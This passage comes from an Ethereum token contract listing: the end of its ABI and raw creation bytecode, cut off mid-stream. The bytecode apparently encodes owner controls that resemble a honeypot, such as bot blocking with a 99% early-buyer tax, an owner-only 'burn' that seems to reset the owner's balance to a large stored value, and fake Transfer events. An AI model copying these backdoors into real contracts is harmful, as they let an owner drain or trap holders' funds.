int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActiveBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"transferToken","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526a52b7d2dcc80cd2e400000060065560006013556017805463ffffffff191663010000011790553480156200003857600080fd5b50604051620043b4380380620043b48339810160408190526200005b91620005fa565b604080518082018252600580825264232ba7a7a760d91b602080840182905284518086019095529184529083015282916004620000998382620006d1565b506005620000a88282620006d1565b5050600980546001600160a01b0319166001600160a01b03841617905550620000d8620000d23390565b620002c7565b50600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556000602681905533919062000115600990565b6200012290600a620008b0565b6200013290633b9aca00620008c1565b9050606462000143826001620008c1565b6200014f9190620008db565b600b55606462000161826001620008c1565b6200016d9190620008db565b600c5560646200017f826001620008c1565b6200018b9190620008db565b600d556127106200019e826005620008c1565b620001aa9190620008db565b60105560006019819055601a819055601b819055601c81905580620001d08180620008fe565b620001dc9190620008fe565b620001e89190620008fe565b6018556000601e819055601f81905560208190556021819055806200020e8180620008fe565b6200021a9190620008fe565b620002269190620008fe565b601d556200023683600162000319565b6200024330600162000319565b6200025261dead600162000319565b6200025f8360016200037c565b6200026c3060016200037c565b6200027b61dead60016200037c565b601180546001600160a01b0385166001600160a01b03199182168117909255601280549091169091179055620002b28382620003e5565b620002bd83620004ce565b5050505062000914565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260296020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b620003866200054d565b6001600160a01b038216600081815260276020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620004415760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060036000828254620004559190620008fe565b90915550506001600160a01b0382166000908152602081905260408120805483929062000484908490620008fe565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b620004d86200054d565b6001600160a01b0381166200053f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162000438565b6200054a81620002c7565b50565b3362000558620005b2565b6001600160a01b031614620005b05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000438565b565b600080620005bf620005c5565b92915050565b6008546000906001600160a01b031615620005ea57506008546001600160a01b031690565b506009546001600160a01b031690565b6000602082840312156200060d57600080fd5b81516001600160a01b03811681146200062557600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200065757607f821691505b6020821081036200067857634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620006cc57600081815260208120601f850160051c81016020861015620006a75750805b601f850160051c820191505b81811015620006c857828155600101620006b3565b5050505b505050565b81516001600160401b03811115620006ed57620006ed6200062c565b6200070581620006fe845462000642565b846200067e565b602080601f8311600181146200073d5760008415620007245750858301515b600019600386901b1c1916600185901b178555620006c8565b600085815260208120601f198616915b828110156200076e578886015182559484019460019091019084016200074d565b50858210156200078d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620007f4578160001904821115620007d857620007d86200079d565b80851615620007e657918102915b93841c9390800290620007b8565b509250929050565b6000826200080d57506001620005bf565b816200081c57506000620005bf565b8160018114620008355760028114620008405762000860565b6001915050620005bf565b60ff8411156200085457620008546200079d565b50506001821b620005bf565b5060208310610133831016604e8410600b841016171562000885575081810a620005bf565b620008918383620007b3565b8060001904821115620008a857620008a86200079d565b029392505050565b60006200062560ff841683620007fc565b8082028115828204841417620005bf57620005bf6200079d565b600082620008f957634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620005bf57620005bf6200079d565b613a9080620009246000396000f3fe6080604052600436106104145760003560e01c806370db69d61161021e578063bbc0c74211610123578063e7ad9fcd116100ab578063f2fde38b1161007a578063f2fde38b14610bee578063f5648a4f14610c0e578063f637434214610c23578063f8b45b0514610c39578063fb002c9714610c4f57600080fd5b8063e7ad9fcd14610b8d578063e884f26014610bad578063ee40166e14610bc2578063f11a24d314610bd857600080fd5b8063d0d41fe1116100f2578063d0d41fe114610ae5578063d85ba06314610b05578063dd62ed3e14610b1b578063e2f4560514610b61578063e71dc3f514610b7757600080fd5b8063bbc0c74214610a65578063c024666814610a84578063c2b7bbb614610aa4578063c876d0b914610ac457600080fd5b8063a0d82dc5116101a6578063a9d3cd8a11610175578063a9d3cd8a146109c9578063adb873bd146109e9578063b62496f5146109ff578063b8eb354614610a2f578063b94279ea14610a4557600080fd5b8063a0d82dc51461095d578063a457c2d714610973578063a62068ce14610993578063a9059cbb146109a957600080fd5b80638da5cb5b116101ed5780638da5cb5b146108de5780639164f9db146108fc57806395d89b411461091c5780639c3b4fdc146109315780639fccce321461094757600080fd5b806370db69d61461086e578063715018a614610884578063751039fc1461089957806385ecfd28146108ae57600080fd5b80633950935111610324578063572ad658116102ac5780636a486a8e1161027b5780636a486a8e146107cc5780636b0a894c146107e25780636ddd1713146107f8578063707789c51461081857806370a082311461083857600080fd5b8063572ad6581461075f578063588813041461077f57806358a6d5311461079f5780635a139dd4146107b657600080fd5b806346f1f5de116102f357806346f1f5de146106da57806348ae238f146106fa5780634a62bb651461071a5780634f77f6c01461073457806351f205e41461074a57600080fd5b8063395093511461066457806342966c6814610684578063452ed4f1146106a457806346cafe52146106c457600080fd5b80631c499ab0116103a7578063249ec2bb11610376578063249ec2bb146105d357806326ededb8146105f35780632e509103146106135780632e6ed7ef14610628578063313ce5671461064857600080fd5b80631c499ab0146105685780631d777856146105885780631e146da81461059e57806323b872dd146105b357600080fd5b80630f054c06116103e35780630f054c06146104ec57806310d5de531461050357806318160ddd146105335780631a8145bb1461055257600080fd5b806306fdde03146104205780630758d9241461044b578063095ea7b3146104835780630cb1d0ee146104b357600080fd5b3661041b57005b600080fd5b34801561042c57600080fd5b50610435610c65565b6040516104429190613475565b60405180910390f35b34801561045757600080fd5b50600e5461046b906001600160a01b031681565b6040516001600160a01b039091168152602001610442565b34801561048f57600080fd5b506104a361049e3660046134e8565b610cf7565b6040519015158152602001610442565b3480156104bf57600080fd5b506104a36104ce366004613514565b6001600160a01b031660009081526028602052604090205460ff1690565b3480156104f857600080fd5b50610501610d0e565b005b34801561050f57600080fd5b506104a361051e366004613514565b60296020526000908152604090205460ff1681565b34801561053f57600080fd5b506003545b604051908152602001610442565b34801561055e57600080fd5b5061054460235481565b34801561057457600080fd5b50610501610583366004613538565b610e3d565b34801561059457600080fd5b5061054460255481565b3480156105aa57600080fd5b50610501610f23565b3480156105bf57600080fd5b506104a36105ce366004613551565b610fda565b3480156105df57600080fd5b506105016105ee3660046135ab565b61109d565b3480156105ff57600080fd5b5061050161060e3660046135e4565b611143565b34801561061f57600080fd5b506105016111db565b34801561063457600080fd5b5061050161064336600461365f565b6112a1565b34801561065457600080fd5b5060405160098152602001610442565b34801561067057600080fd5b506104a361067f3660046134e8565b611302565b34801561069057600080fd5b5061050161069f366004613538565b61133e565b3480156106b057600080fd5b50600f5461046b906001600160a01b031681565b3480156106d057600080fd5b5061054460265481565b3480156106e657600080fd5b506105016106f5366004613538565b611353565b34801561070657600080fd5b506104a3610715366004613691565b61147c565b34801561072657600080fd5b506017546104a39060ff1681565b34801561074057600080fd5b50610544601e5481565b34801561075657600080fd5b50610501611662565b34801561076b57600080fd5b5061050161077a3660046136d5565b611750565b34801561078b57600080fd5b5061050161079a366004613538565b61191a565b3480156107ab57600080fd5b5060145443106104a3565b3480156107c257600080fd5b5061054460195481565b3480156107d857600080fd5b50610544601d5481565b3480156107ee57600080fd5b5061054460165481565b34801561080457600080fd5b506017546104a39062010000900460ff1681565b34801561082457600080fd5b50610501610833366004613514565b6119f6565b34801561084457600080fd5b50610544610853366004613514565b6001600160a01b031660009081526020819052604090205490565b34801561087a57600080fd5b50610544600b5481565b34801561089057600080fd5b50610501611a85565b3480156108a557600080fd5b50610501611a97565b3480156108ba57600080fd5b506104a36108c9366004613514565b60156020526000908152604090205460ff1681565b3480156108ea57600080fd5b506008546001600160a01b031661046b565b34801561090857600080fd5b50610501610917366004613538565b611ad7565b34801561092857600080fd5b50610435611bb4565b34801561093d57600080fd5b50610544601b5481565b34801561095357600080fd5b5061054460245481565b34801561096957600080fd5b5061054460205481565b34801561097f57600080fd5b506104a361098e3660046134e8565b611bc3565b34801561099f57600080fd5b5061054460145481565b3480156109b557600080fd5b506104a36109c43660046134e8565b611c5c565b3480156109d557600080fd5b506105016109e43660046135ab565b611c7f565b3480156109f557600080fd5b5061054460215481565b348015610a0b57600080fd5b506104a3610a1a366004613514565b602a6020526000908152604090205460ff1681565b348015610a3b57600080fd5b50610544600c5481565b348015610a5157600080fd5b50610501610a603660046135ab565b611d2b565b348015610a7157600080fd5b506017546104a390610100900460ff1681565b348015610a9057600080fd5b50610501610a9f3660046135ab565b611d5e565b348015610ab057600080fd5b50610501610abf366004613514565b611dc5565b348015610ad057600080fd5b506017546104a3906301000000900460ff1681565b348015610af157600080fd5b50610501610b00366004613514565b611def565b348015610b1157600080fd5b5061054460185481565b348015610b2757600080fd5b50610544610b36366004613691565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610b6d57600080fd5b5061054460105481565b348015610b8357600080fd5b50610544601c5481565b348015610b9957600080fd5b50610501610ba836600461365f565b611e6f565b348015610bb957600080fd5b50610501611f00565b348015610bce57600080fd5b5061054460135481565b348015610be457600080fd5b50610544601a5481565b348015610bfa57600080fd5b50610501610c09366004613514565b611f17565b348015610c1a57600080fd5b50610501611f8d565b348015610c2f57600080fd5b50610544601f5481565b348015610c4557600080fd5b50610544600d5481565b348015610c5b57600080fd5b5061054460225481565b606060048054610c74906137b5565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca0906137b5565b8015610ced5780601f10610cc257610100808354040283529160200191610ced565b820191906000526020600020905b815481529060010190602001808311610cd057829003601f168201915b5050505050905090565b6000610d04338484611fd7565b5060015b92915050565b610d166120fc565b6040516370a0823160e01b815230600482018190529060009082906370a0823190602401602060405180830381865afa158015610d57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7b91906137ef565b905060008111610dc75760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b60448201526064015b60405180910390fd5b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610e14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e389190613808565b505050565b610e456120fc565b633b9aca006103e8610e5660035490565b610e6190600361383b565b610e6b9190613852565b610e759190613852565b811015610ed95760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610dbe565b610ee781633b9aca0061383b565b600d8190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc906020015b60405180910390a150565b610f2b6120fc565b601754610100900460ff1615610f835760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610dbe565b6017805462ffffff191662010100179055436013819055602654610fa691613874565b6014556006546007556040517fba61a96074b3d636edeee92caddc86293c917d5b6818b7d3698bb52e02ec86c890600090a1565b6001600160a01b038316600090815260026020526040812043905561100084848461215b565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156110855760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610dbe565b6110928533858403611fd7565b506001949350505050565b6110a56120fc565b8061111857600f546001600160a01b03908116908316036111185760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610dbe565b6001600160a01b03919091166000908152602960205260409020805460ff1916911515919091179055565b61114b6120fc565b60005b828110156111d55783838281811061116857611168613887565b905060200201602081019061117d9190613514565b600f546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3806111cd8161389d565b91505061114e565b50505050565b6111e36120fc565b6014601e8190556000601f81905560208190556021819055908190611209908290613874565b6112139190613874565b61121d9190613874565b601d819055601410156112425760405162461bcd60e51b8152600401610dbe906138b6565b60198080556000601a819055601b819055601c819055908190611266908290613874565b6112709190613874565b61127a9190613874565b60188190556014101561129f5760405162461bcd60e51b8152600401610dbe906138b6565b565b6112a96120fc565b6019849055601a839055601b829055601c81905580826112c98587613874565b6112d39190613874565b6112dd9190613874565b6018819055601410156111d55760405162461bcd60e51b8152600401610dbe906138b6565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610d04918590611339908690613874565b611fd7565b6113466120fc565b6113503382612c8c565b50565b61135b6120fc565b620186a061136860035490565b61137390600161383b565b61137d9190613852565b8110156113ea5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610dbe565b6103e86113f660035490565b61140190600161383b565b61140b9190613852565b8111156114775760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610dbe565b601055565b60006114866120fc565b6001600160a01b0383166114dc5760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f7420626520300000000000006044820152606401610dbe565b306001600160a01b038416036115345760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e73000000006044820152606401610dbe565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa15801561157b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159f91906137ef565b60405163a9059cbb60e01b81526001600160a01b038581166004830152602482018390529192509085169063a9059cbb906044016020604051808303816000875af11580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613808565b604080516001600160a01b0387168152602081018490529193507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b61166a6120fc565b6010543060009081526020819052604090205410156116f3576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e6064820152608401610dbe565b600f805460ff60a01b1916600160a01b17905561170e612ddf565b600f805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a1565b6117586120fc565b811580156117665750600081115b15611910576040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa1580156117d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f991906138ed565b8160008151811061180c5761180c613887565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061184057611840613887565b6001600160a01b039283166020918202929092010152600e54855191169063b6f9de9590849060009085908990839061187b5761187b613887565b6020026020010151426040518663ffffffff1660e01b81526004016118a3949392919061394e565b6000604051808303818588803b1580156118bc57600080fd5b505af11580156118d0573d6000803e3d6000fd5b50505050507fa017c1567cfcdd2d750a8c01e39fe2a846bcebc293c7d078477014d6848205688260405161190691815260200190565b60405180910390a1505b610e388284612fd2565b6119226120fc565b633b9aca006103e861193360035490565b61193e90600261383b565b6119489190613852565b6119529190613852565b8110156119b35760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610dbe565b6119c181633b9aca0061383b565b600b8190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de4100990602001610f18565b6119fe6120fc565b6001600160a01b038116611a635760405162461bcd60e51b815260206004820152602660248201527f5f6f7065726174696f6e734164647265737320616464726573732063616e6e6f60448201526507420626520360d41b6064820152608401610dbe565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b611a8d6120fc565b61129f60006130a4565b611a9f6120fc565b6017805463ff000000191690556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b611adf6120fc565b633b9aca006103e8611af060035490565b611afb90600261383b565b611b059190613852565b611b0f9190613852565b811015611b715760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610dbe565b611b7f81633b9aca0061383b565b600c8190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610f18565b606060058054610c74906137b5565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015611c455760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610dbe565b611c523385858403611fd7565b5060019392505050565b336000908152600260205260408120439055610d04611c783390565b848461215b565b611c876120fc565b600f546001600160a01b0390811690831603611ce55760405162461bcd60e51b815260206004820152601a60248201527f54686520706169722063616e6e6f742062652072656d6f7665640000000000006044820152606401610dbe565b611cef82826130f6565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b611d336120fc565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b611d666120fc565b6001600160a01b038216600081815260276020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b611dcd6120fc565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b611df76120fc565b6001600160a01b038116611e4d5760405162461bcd60e51b815260206004820152601f60248201527f5f6465764164647265737320616464726573732063616e6e6f742062652030006044820152606401610dbe565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b611e776120fc565b601e849055601f839055602082905560218190558082611e978587613874565b611ea19190613874565b611eab9190613874565b601d819055601910156111d55760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610dbe565b611f086120fc565b6017805463ff00000019169055565b611f1f6120fc565b6001600160a01b038116611f845760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dbe565b611350816130a4565b611f956120fc565b604051600090339047908381818185875af1925050503d80600081146111d5576040519150601f19603f3d011682016040523d82523d6000602084013e6111d5565b6001600160a01b0383166120395760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610dbe565b6001600160a01b03821661209a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610dbe565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b33612105613124565b6001600160a01b03161461129f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dbe565b6001600160a01b0383166121815760405162461bcd60e51b8152600401610dbe90613983565b6001600160a01b0382166121a75760405162461bcd60e51b8152600401610dbe906139c8565b600081116121f75760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610dbe565b601754610100900460ff1661228a576001600160a01b03831660009081526027602052604090205460ff168061224557506001600160a01b03821660009081526027602052604090205460ff165b61228a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610dbe565b6014541561235d576001600160a01b03831660009081526015602052604090205460ff1615806122c757506008546001600160a01b038381169116145b806122dc57506001600160a01b03821661dead145b61235d5760405162461bcd60e51b815260206004820152604660248201527f426f74732063616e6e6f74207472616e7366657220746f6b656e7320696e206f60448201527f72206f75742065786365707420746f206f776e6572206f722064656164206164606482015265323932b9b99760d11b608482015260a401610dbe565b6017546301000000900460ff16801561239357506001600160a01b03831660009081526028602052604090205460ff1615156001145b1561244b576008546001600160a01b038381169116148015906123c45750600f546001600160a01b03848116911614155b1561244b576123d4600343613a0b565b6001600160a01b0384166000908152600260205260409020541061244b5760405162461bcd60e51b815260206004820152602860248201527f5472616e736665722044656c617920656e61626c65642e20547279206167616960448201526737103630ba32b91760c11b6064820152608401610dbe565b60175460ff1615612753576008546001600160a01b0384811691161480159061248257506008546001600160a01b03838116911614155b801561249657506001600160a01b03821615155b80156124ad57506001600160a01b03821661dead14155b80156124d257506001600160a01b03831660009081526027602052604090205460ff16155b80156124f757506001600160a01b03821660009081526027602052604090205460ff16155b15612753576001600160a01b0383166000908152602a602052604090205460ff16801561253d57506001600160a01b03821660009081526029602052604090205460ff16155b1561261957600b548111156125a55760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610dbe565b600d546001600160a01b0383166000908152602081905260409020546125cb9083613874565b11156126145760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610dbe565b612753565b6001600160a01b0382166000908152602a602052604090205460ff16801561265a57506001600160a01b03831660009081526029602052604090205460ff16155b156126c457600c548111156126145760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610dbe565b6001600160a01b03821660009081526029602052604090205460ff1661275357600d546001600160a01b03831660009081526020819052604090205461270a9083613874565b11156127535760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610dbe565b306000908152602081905260409020546010548110801590819061277f575060175462010000900460ff165b80156127955750600f54600160a01b900460ff16155b80156127ba57506001600160a01b0385166000908152602a602052604090205460ff16155b80156127df57506001600160a01b03851660009081526027602052604090205460ff16155b801561280457506001600160a01b03841660009081526027602052604090205460ff16155b1561283257600f805460ff60a01b1916600160a01b179055612824612ddf565b600f805460ff60a01b191690555b6001600160a01b03851660009081526027602052604090205460019060ff168061287457506001600160a01b03851660009081526027602052604090205460ff165b1561287d575060005b60008115612c7857601454431080156128ae57506001600160a01b0387166000908152602a602052604090205460ff165b80156128d357506001600160a01b0386166000908152602a602052604090205460ff16155b80156128e157506000601854115b15612a61576001600160a01b03861660009081526015602052604090205460ff16612981576001600160a01b0386166000908152601560205260408120805460ff19166001908117909155601680549192909161293f908490613874565b90915550506040516001600160a01b03871681527f55678e47d0a699d3ab99b0184c4ff14f2246ba80522deb921aa0c8823578c44a9060200160405180910390a15b606461298e86606361383b565b6129989190613852565b9050601854601a54826129ab919061383b565b6129b59190613852565b602360008282546129c69190613874565b90915550506018546019546129db908361383b565b6129e59190613852565b602260008282546129f69190613874565b9091555050601854601b54612a0b908361383b565b612a159190613852565b60246000828254612a269190613874565b9091555050601854601c54612a3b908361383b565b612a459190613852565b60256000828254612a569190613874565b90915550612c5a9050565b6001600160a01b0386166000908152602a602052604090205460ff168015612a8b57506000601d54115b15612b4d576064601d5486612aa0919061383b565b612aaa9190613852565b9050601d54601f5482612abd919061383b565b612ac79190613852565b60236000828254612ad89190613874565b9091555050601d54601e54612aed908361383b565b612af79190613852565b60226000828254612b089190613874565b9091555050601d54602054612b1d908361383b565b612b279190613852565b60246000828254612b389190613874565b9091555050601d54602154612a3b908361383b565b6001600160a01b0387166000908152602a602052604090205460ff168015612b7757506000601854115b15612c5a57606460185486612b8c919061383b565b612b969190613852565b9050601854601a5482612ba9919061383b565b612bb39190613852565b60236000828254612bc49190613874565b9091555050601854601954612bd9908361383b565b612be39190613852565b60226000828254612bf49190613874565b9091555050601854601b54612c09908361383b565b612c139190613852565b60246000828254612c249190613874565b9091555050601854601c54612c39908361383b565b612c439190613852565b60256000828254612c549190613874565b90915550505b8015612c6b57612c6b87308361312f565b612c758186613a0b565b94505b612c8387878761312f565b50505050505050565b6001600160a01b038216612cec5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610dbe565b6001600160a01b03821660009081526020819052604090205481811015612d605760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610dbe565b81600754612d6e9190613a0b565b6001600160a01b03841660009081526020819052604081209190915560038054849290612d9c908490613a0b565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016120ef565b3060009081526020819052604081205490506000602454602254602354612e069190613874565b612e109190613874565b9050811580612e1d575080155b15612e26575050565b601054612e3490601461383b565b821115612e4c57601054612e4990601461383b565b91505b60008060028360235486612e60919061383b565b612e6a9190613852565b612e749190613852565b9050612e88612e838286613a0b565b613284565b60235447908190600090612e9e90600290613852565b612ea89087613a0b565b602254612eb5908561383b565b612ebf9190613852565b905060006002602354612ed29190613852565b612edc9088613a0b565b602454612ee9908661383b565b612ef39190613852565b9050612eff8183613874565b612f099084613a0b565b600060238190556022819055602481905560258190556012546040519295506001600160a01b031691839181818185875af1925050503d8060008114612f6b576040519150601f19603f3d011682016040523d82523d6000602084013e612f70565b606091505b50506011546040519197506001600160a01b0316904790600081818185875af1925050503d8060008114612fc0576040519150601f19603f3d011682016040523d82523d6000602084013e612fc5565b606091505b5050505050505050505050565b60005b8151811015610e38578260286000848481518110612ff557612ff5613887565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555081818151811061304657613046613887565b60200260200101516001600160a01b03167f208348c2856cbb3459e7fb08ce4139a8ce344289790e895c283a96ff81780c2a8460405161308a911515815260200190565b60405180910390a28061309c8161389d565b915050612fd5565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152602a60205260409020805460ff1916821515179055611cef82826133de565b600080610d08613441565b6001600160a01b0383166131555760405162461bcd60e51b8152600401610dbe90613983565b6001600160a01b03821661317b5760405162461bcd60e51b8152600401610dbe906139c8565b6001600160a01b038316600090815260208190526040902054818110156131f35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610dbe565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061322a908490613874565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051613276